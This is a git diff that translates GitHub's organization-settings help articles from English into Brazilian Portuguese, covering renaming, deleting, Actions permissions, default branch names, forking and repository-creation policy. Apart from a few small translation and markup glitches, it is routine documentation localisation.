-6. [Rename the user](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username) to the organization's name.
-7. [Delete the organization](/organizations/managing-organization-settings/deleting-an-organization-account).
+1. [Inscreva-se](/articles/signing-up-for-a-new-github-account) para uma nova conta de usuário do GitHub.
+2. [Altere a função do usuário para um proprietário](/articles/changing-a-person-s-role-to-owner).
+3. {% data variables.product.signin_link %} na nova conta de usuário.
+4. [Transfira cada repositório da organização](/articles/how-to-transfer-a-repository) para a nova conta de usuário.
+5. [Renomeie a organização](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username) para tornar o nome de usuário atual disponível.
+6. [Renomeie o usuário](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username) para o nome da organização.
+7. [Exclua a organização](/organizations/managing-organization-settings/deleting-an-organization-account).
 
 
 {% else %}
 
-1. Sign up for a new GitHub Enterprise user account.
-2. [Have the user's role changed to an owner](/articles/changing-a-person-s-role-to-owner).
-3. {% data variables.product.signin_link %} to the new user account.
-4. [Transfer each organization repository](/articles/how-to-transfer-a-repository) to the new user account.
-5. [Delete the organization](/articles/deleting-an-organization-account).
-6. [Rename the user](/articles/changing-your-github-username) to the organization's name.
+1. Inscreva-se para uma nova conta de usuário do GitHub Enterprise GitHub Enterprise.
+2. [Altere a função do usuário para um proprietário](/articles/changing-a-person-s-role-to-owner).
+3. {% data variables.product.signin_link %} na nova conta de usuário.
+4. [Transfira cada repositório da organização](/articles/how-to-transfer-a-repository) para a nova conta de usuário.
+5. [Exclua a organização](/articles/deleting-an-organization-account).
+6. [Renomeie o usuário](/articles/changing-your-github-username) para o nome da organização.
 
 {% endif %}
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/deleting-an-organization-account.md b/translations/pt-BR/content/organizations/managing-organization-settings/deleting-an-organization-account.md
index c3360a5de4..b6151aee72 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/deleting-an-organization-account.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/deleting-an-organization-account.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting an organization account
-intro: 'When you delete an organization, all repositories, forks of private repositories, wikis, issues, pull requests, and Project or Organization Pages are deleted as well. {% ifversion fpt or ghec %}Your billing will end, and after 90 days the organization name becomes available for use on a new user or organization account.{% endif %}'
+title: Excluir uma conta de organização
+intro: 'Quando você exclui uma organização, todos os repositórios, bifurcações de repositórios privados, wikis, problemas, pull requests e páginas de projeto ou de organização são excluídos também. {% ifversion fpt or ghec %}Sua cobrança terminará e, após 90 dias o nome da organização estará disponível para uso em uma nova conta de usuário ou da organização.{% endif %}'
 redirect_from:
   - /articles/deleting-an-organization-account
   - /github/setting-up-and-managing-organizations-and-teams/deleting-an-organization-account
@@ -12,25 +12,24 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Delete organization account
+shortTitle: Excluir conta da organização
 ---
 
 {% ifversion fpt or ghec %}
 {% tip %}
 
-**Tip**: If you want to cancel your paid subscription, you can [downgrade your organization to {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) instead of deleting the organization and its content.
+**Dica**: caso queira cancelar sua assinatura paga, [faça downgrade da sua organização para {% data variables.product.prodname_free_team %}](/articles/downgrading-your-github-subscription) em vez de excluir a organização e o conteúdo dela.
 
 {% endtip %}
 
 {% endif %}
 
-## 1. Back up your organization content
+## 1. Fazer backup do conteúdo da organização
 
-Once you delete an organization, GitHub **cannot restore your content**. Therefore, before you delete your organization, make sure you have a copy of all repositories, wikis, issues, and project boards from the account.
+Depois que você exclui uma organização, o GitHub **não pode restaurar o conteúdo que você tem lá**. Portanto, antes de excluir sua organização, certifique-se de ter uma cópia de todos os repositórios, wikis, problemas e quadros de projetos da conta.
 
-## 2. Delete the organization
+## 2. Excluir a organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. Near the bottom of the organization's settings page, click **Delete this Organization**.
-   ![Delete this organization button](/assets/images/help/settings/settings-organization-delete.png)
+4. Próximo à parte inferior da página de configurações da organização, clique em **Delete this Organization** (Excluir esta organização). ![Botão Delete this organization (Excluir esta organização)](/assets/images/help/settings/settings-organization-delete.png)
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
index 753c2e3f39..47db651075 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling or limiting GitHub Actions for your organization
-intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.'
+title: Desabilitar ou limitar o GitHub Actions para sua organização
+intro: 'Os proprietários da organização podem desabilitar, habilitar e limitar o GitHub Actions para uma organização.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization
 versions:
@@ -11,60 +11,59 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable or limit actions
+shortTitle: Desativar ou limitar ações
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your organization
+## Sobre as permissões de {% data variables.product.prodname_actions %} para a sua organização
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %} Para mais informações sobre {% data variables.product.prodname_actions %}, consulte "[Sobre {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
 
-You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %}
+Você pode habilitar o {% data variables.product.prodname_actions %} para todos os repositórios da sua organização. {% data reusables.github-actions.enabled-actions-description %} Você pode desabilitar {% data variables.product.prodname_actions %} para todos os repositórios da sua organização. {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+Como alternativa, você pode habilitar o {% data variables.product.prodname_actions %} para todos os repositórios na sua organização e limitar as ações que um fluxo de trabalho pode executar. {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your organization
+## Gerenciar as permissões de {% data variables.product.prodname_actions %} para a sua organização
 
-You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization.
+Você pode desabilitar todos os fluxos de trabalho para uma organização ou definir uma política que configura quais ações podem ser usadas em uma organização.
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**Observação:** Talvez você não consiga gerenciar essas configurações se a sua organização for gerenciada por uma empresa que tem uma política de substituição. Para obter mais informações, consulte "[Aplicar políticas para {% data variables.product.prodname_actions %} na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)".
 
 {% endnote %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png)
-1. Click **Save**.
+1. Em **Políticas**, selecione uma opção. ![Definir política de ações para esta organização](/assets/images/help/organizations/actions-policy.png)
+1. Clique em **Salvar**.
 
-## Allowing specific actions to run
+## Permitir a execução de ações específicas
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. Em **Políticas**, selecione **Permitir ações específicas** e adicione as suas ações necessárias à lista.
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png)
+   ![Adicionar ações para permitir lista](/assets/images/help/organizations/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
+   ![Adicionar ações para permitir lista](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
    {%- endif %}
-1. Click **Save**.
+1. Clique em **Salvar**.
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## Configurar a aprovação necessária para fluxos de trabalho de bifurcações públicas
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level.
+Você pode configurar esse comportamento para uma organização seguindo o procedimento abaixo. A modificação desta configuração substitui a configuração definida no nível corporativo.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -75,11 +74,11 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Enabling workflows for private repository forks
+## Habilitar fluxos de trabalho para bifurcações privadas do repositório
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for an organization
+### Configurar a política de bifurcação privada para uma organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -88,21 +87,24 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Setting the permissions of the `GITHUB_TOKEN` for your organization
+## Definindo as permissões do `GITHUB_TOKEN` para a sua organização
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings.
+Você pode definir as permissões padrão para o `GITHUB_TOKEN` nas configurações para a sua organização ou repositórios. Se você escolher a opção restrita como padrão nas configurações da sua organização, a mesma opção será selecionada automaticamente nas configurações dos repositórios na organização, e a opção permissiva ficará desabilitada. Se sua organização pertence a uma conta {% data variables.product.prodname_enterprise %} e o padrão mais restrito foi selecionado nas configurações corporativas, você não poderá de escolher o padrão mais permissivo nas configurações da organização.
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
-### Configuring the default `GITHUB_TOKEN` permissions
+### Configurar as permissões padrão do `GITHUB_TOKEN`
 
 {% data reusables.profile.access_profile %}
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png)
-1. Click **Save** to apply the settings.
-{% endif %}
+1. Em **permissões do fluxo de trabalho**, escolha se você quer que o `GITHUB_TOKEN` tenha acesso de leitura e gravação para todos os escopos, ou apenas acesso de leitura para o escopo do </code>conteúdo.
+<img src="/assets/images/help/settings/actions-workflow-permissions-organization.png" alt="Definir permissões do GITHUB_TOKEN para esta organização" /></p></li>
+<li><p spaces-before="0">Clique em <strong x-id="1">Salvar</strong> para aplicar as configurações.
+</p>
+
+<p spaces-before="0">{% endif %}</p></li>
+</ol>
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
index 67a4c82971..458f644218 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the default branch name for repositories in your organization
-intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.product.product_location %}.'
+title: Gerenciar o nome de branch-padrão para repositórios na sua organização
+intro: 'Você pode definir o nome do branch-padrão para repositórios que os integrantes criam na sua organização em {% data variables.product.product_location %}.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization
 permissions: Organization owners can manage the default branch name for new repositories in the organization.
@@ -12,29 +12,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage default branch name
+shortTitle: Gerenciar nome do branch padrão
 ---
 
-## About management of the default branch name
+## Sobre o gerenciamento do nome do brancc-padrão
 
-When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+Quando um integrante da sua organização cria um novo repositório na sua organização, o repositório contém um branch, que é o branch-padrão. Você pode alterar o nome que {% data variables.product.product_name %} usa para o branch-padrão em novos repositórios que os integrantes da sua organização criam. Para obter mais informações sobre o branch padrão, consulte "[Sobre branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)".
 
 {% data reusables.branches.change-default-branch %}
 
-If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default branch name for your organization. Instead, you can change the default branch for individual repositories. For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+Se um proprietário da empresa tiver aplicado uma política para o nome do branch padrão para sua empresa, você não poderá definir um nome do branch padrão para sua organização. Em vez disso, você pode alterar o branch padrão para repositórios individuais. Para obter mais informações, consulte {% ifversion fpt %}"[forçando políticas de gerenciamento do repositório na sua empresa](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Aplicando as políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} e "[Altrando o branch padrão](/github/administering-a-repository/changing-the-default-branch)".
 
-## Setting the default branch name
+## Definir o nome do branch-padrão
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.repository-defaults %}
-3. Under "Repository default branch", click **Change default branch name now**.
-    ![Override button](/assets/images/help/organizations/repo-default-name-button.png)
-4. Type the default name that you would like to use for new branches.
-    ![Text box for entering default name](/assets/images/help/organizations/repo-default-name-text.png)
-5. Click **Update**.
-    ![Update button](/assets/images/help/organizations/repo-default-name-update.png)
+3. Em "Branch padrão do repositório", clique em **Alterar o nome do branch-padrão agora**. ![Botão de sobrescrever](/assets/images/help/organizations/repo-default-name-button.png)
+4. Digite o nome-padrão que você gostaria de usar para novos branches. ![Caixa de texto para digitar o nome-padrão](/assets/images/help/organizations/repo-default-name-text.png)
+5. Clique em **Atualizar**. ![Botão de atualizar](/assets/images/help/organizations/repo-default-name-update.png)
 
-## Further reading
+## Leia mais
 
-- "[Managing the default branch name for your repositories](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)"
+- "[Gerenciar o nome do branch-padrão para seus repositórios](/github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories)"
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
index 841dca73ea..79965523a7 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the forking policy for your organization
-intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.'
+title: Gerenciar a política de bifurcação da sua organização
+intro: 'Você pode permitir ou impedir a bifurcação de qualquer repositório privado{% ifversion ghes or ghae or ghec %} e interno{% endif %} pertencente à sua organização.'
 redirect_from:
   - /articles/allowing-people-to-fork-private-repositories-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization
@@ -14,25 +14,25 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage forking policy
+shortTitle: Gerenciar política de bifurcação
 ---
 
-By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories.
+Por padrão, as novas organizações estão configuradas para não permitir a bifurcação de repositórios privados{% ifversion ghes or ghec or ghae %} e internos{% endif %}.
 
-If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)."
+Se você permitir a bifurcação de repositórios privados{% ifversion ghes or ghec or ghae %} e internos{% endif %} no nível da organização você também poderá configurar a capacidade de bifurcar um repositório privado{% ifversion ghes or ghec or ghae %} ou interno{% endif %}. Para obter mais informações, consulte "[Gerenciar a política de bifurcação do seu repositório](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**.
+1. Em "Bifurcação de repositório", selecione **Permitir bifurcação de repositórios {% ifversion ghec or ghes or ghae %}privados e {% endif %}internos**.
 
    {%- ifversion fpt %}
-   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png)
+   ![Caixa de seleção para permitir ou proibir a bifurcação na organização](/assets/images/help/repository/allow-disable-forking-fpt.png)
    {%- elsif ghes or ghec or ghae %}
-   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png)
+   ![Caixa de seleção para permitir ou proibir a bifurcação na organização](/assets/images/help/repository/allow-disable-forking-organization.png)
    {%- endif %}
-6. Click **Save**.
+6. Clique em **Salvar**.
 
-## Further reading
+## Leia mais
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Sobre bifurcações](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/renaming-an-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/renaming-an-organization.md
index 30bd57d2b3..d8fa5c2289 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/renaming-an-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/renaming-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming an organization
-intro: 'If your project or company has changed names, you can update the name of your organization to match.'
+title: Renomear uma organização
+intro: 'Se seu projeto ou sua empresa mudarem de nome, atualize o nome da organização.'
 redirect_from:
   - /articles/what-happens-when-i-change-my-organization-s-name
   - /articles/renaming-an-organization
@@ -17,35 +17,34 @@ topics:
 
 {% tip %}
 
-**Tip:** Only organization owners can rename an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**Dica:** somente proprietários da organização podem renomear a organização. {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-## What happens when I change my organization's name?
+## O que acontece quando eu altero o nome da organização?
 
-After changing your organization's name, your old organization name becomes available for someone else to claim. When you change your organization's name, most references to your repositories under the old organization name automatically change to the new name. However, some links to your profile won't automatically redirect.
+Depois que você altera o nome da organização, o nome antigo da organização fica disponível para ser usado por outra pessoa. Quando você altera o nome da organização, a maioria das referências ao repositórios no nome antigo da organização é alterada automaticamente para o novo nome. No entanto, alguns links para seu perfil não são redirecionados automaticamente.
 
-### Changes that occur automatically
+### Alterações que ocorrem automaticamente
 
-- {% data variables.product.prodname_dotcom %} automatically redirects references to your repositories.  Web links to your organization's existing **repositories** will continue to work. This can take a few minutes to complete after you initiate the change.
-- You can continue pushing your local repositories to the old remote tracking URL without updating it. However, we recommend you update all existing remote repository URLs after changing your organization name. Because your old organization name is available for use by anyone else after you change it, the new organization owner can create repositories that override the redirect entries to your repository. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
-- Previous Git commits will also be correctly attributed to users within your organization.
+- O {% data variables.product.prodname_dotcom %} redireciona automaticamente as referências aos seus repositórios.  Os links da web para os **repositórios** da organização continuarão a funcionar. Esse processo pode demorar alguns minutos após a alteração.
+- Você pode continuar a fazer push dos repositórios locais para a URL de controle do remote antigo sem atualizá-lo. No entanto, recomendamos que você atualize todas as URLs do repositório remoto depois de alterar o nome da organização. Como o nome antigo da organização ficou disponível para uso por qualquer pessoa após a alteração, o proprietário da nova organização pode criar repositórios que sobrescrevem as entradas de redirecionamento para o seu repositório. Para obter mais informações, consulte "[Gerenciar repositórios remotos](/github/getting-started-with-github/managing-remote-repositories)".
+- Os Git commits anteriores também serão atribuídos corretamente ao usuários na sua organização.
 
-### Changes that aren't automatic
+### Alterações que não são automáticas
 
-After changing your organization's name:
-- Links to your previous organization profile page, such as `https://{% data variables.command_line.backticks %}/previousorgname`, will return a 404 error. We recommend you update links to your organization from other sites{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profiles{% endif %}.
-- API requests that use the old organization's name will return a 404 error. We recommend you update the old organization name in your API requests.
-- There are no automatic [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) redirects for teams that use the old organization's name.{% ifversion ghec %}
-- If SAML single sign-on (SSO) is enabled for the organization, you must update the organization name in the application for {% data variables.product.prodname_ghe_cloud %} on your identity provider (IdP). If you don't update the organization name on your IdP, members of the organization will no longer be able to authenticate with your IdP to access the organization's resources. For more information, see "[Connecting your identity provider to your organization](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization)."{% endif %}
+Depois de alterar o nome da organização:
+- Os links para a página de perfil da organização anterior, como `https://{% data variables.command_line.backticks %}/previousorgname`, retornarão um erro 404. Recomendamos que você atualize os links para a organização de outros sites{% ifversion fpt or ghec %}, como os perfis do LinkedIn ou do Twitter{% endif %}.
+- As solicitações de API que usam o nome antigo da organização retornarão um erro 404. Recomendamos que você atualize o nome da organização nas solicitações de API.
+- Não há redirecionamentos de [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) automática para equipes que usam o nome da organização antiga.{% ifversion ghec %}
+- Se o SAML logon único (SSO) estiver habilitado para a organização, você deverá atualizar o nome da organização no aplicativo para {% data variables.product.prodname_ghe_cloud %} no seu provedor de identidade (IdP). Se você não atualizar o nome da organização no seu IdP, os integrantes da organização não poderão mais efetuar a autenticação com seu IdP para acessar os recursos da organização. Para obter mais informações, consulte "[Conectando o seu provedor de identidade à sua organização](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization)."{% endif %}
 
-## Changing your organization's name
+## Alterar o nome da organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. Near the bottom of the settings page, under "Rename organization", click **Rename Organization**.
-  ![Rename organization button](/assets/images/help/settings/settings-rename-organization.png)
+4. Perto da parte inferior da página de configuração, em "Rename organization" (Renomear organização), clique em **Rename Organization** (Renomear organização). ![Botão Rename organization (Renomear organização)](/assets/images/help/settings/settings-rename-organization.png)
 
-## Further reading
+## Leia mais
 
-* "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"
+* "[Por que meus commits estão vinculados ao usuário errado?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
index 7f1c181bd9..49256606f0 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting repository creation in your organization
-intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.'
+title: Restringir a criação de repositórios na organização
+intro: 'Para proteger os dados da organização, você pode configurar as permissões de criação de repositórios na organização.'
 redirect_from:
   - /articles/restricting-repository-creation-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization
@@ -12,29 +12,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Restrict repository creation
+shortTitle: Restringir criação de repositório
 ---
 
-You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}.
+Você pode escolher se os integrantes podem criar repositórios na sua organização. Se você permitir que os integrantes criem repositórios, você poderá escolher quais tipos de repositórios os integrantes poderão criar.{% ifversion fpt or ghec %} Para permitir que os integrantes criem apenas repositórios privados, a sua organização deve usar {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} Para obter mais informações, consulte "[Sobre repositórios](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" na documentação de {% data variables.product.prodname_ghe_cloud %}{% endif %}.
 
-Organization owners can always create any type of repository.
+Os proprietários da organização sempre podem criar qualquer tipo de repositório.
 {% ifversion ghec or ghae or ghes %}
-{% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %}
+{% ifversion ghec or ghae %}Proprietários corporativos{% elsif ghes %}administradores do site{% endif %} podem restringir as opções que você tem disponíveis para a política de criação de repositório da sua organização.{% ifversion ghec or ghes or ghae %} Para obter mais informações, consulte "[Restringindo a criação de repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %}
 
 {% warning %}
 
-**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+**Aviso**: Essa configuração restringe apenas as opções de visibilidade disponíveis quando os repositórios são criados e não restringe a capacidade de alterar a visibilidade do repositório mais tarde. Para obter mais informações sobre restringir alterações em visibilidades de repositórios existentes, consulte "[Restringindo alterações da visibilidade do repositório na sua organização](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)".
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository creation", select one or more options.
+5. Em "Criação do repositório", selecione uma ou mais opções.
 
    {%- ifversion ghes or ghec or ghae %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
+   ![Opções de criação de repositório](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
    {%- elsif fpt %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
+   ![Opções de criação de repositório](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
    {%- endif %}
-6. Click **Save**.
+6. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
index 44b80ce85d..e56eeb63b4 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
@@ -1,6 +1,6 @@
 ---
-title: Setting permissions for adding outside collaborators
-intro: 'To protect your organization''s data and the number of paid licenses used in your organization, you can allow only owners to invite outside collaborators to organization repositories.'
+title: Configurar permissões para adicionar colaboradores externos
+intro: 'Para proteger os dados da organização e o o número de licenças pagas usadas, você pode permitir que somente proprietários convidem colaboradores externos para os repositórios da organização.'
 product: '{% data reusables.gated-features.restrict-add-collaborator %}'
 redirect_from:
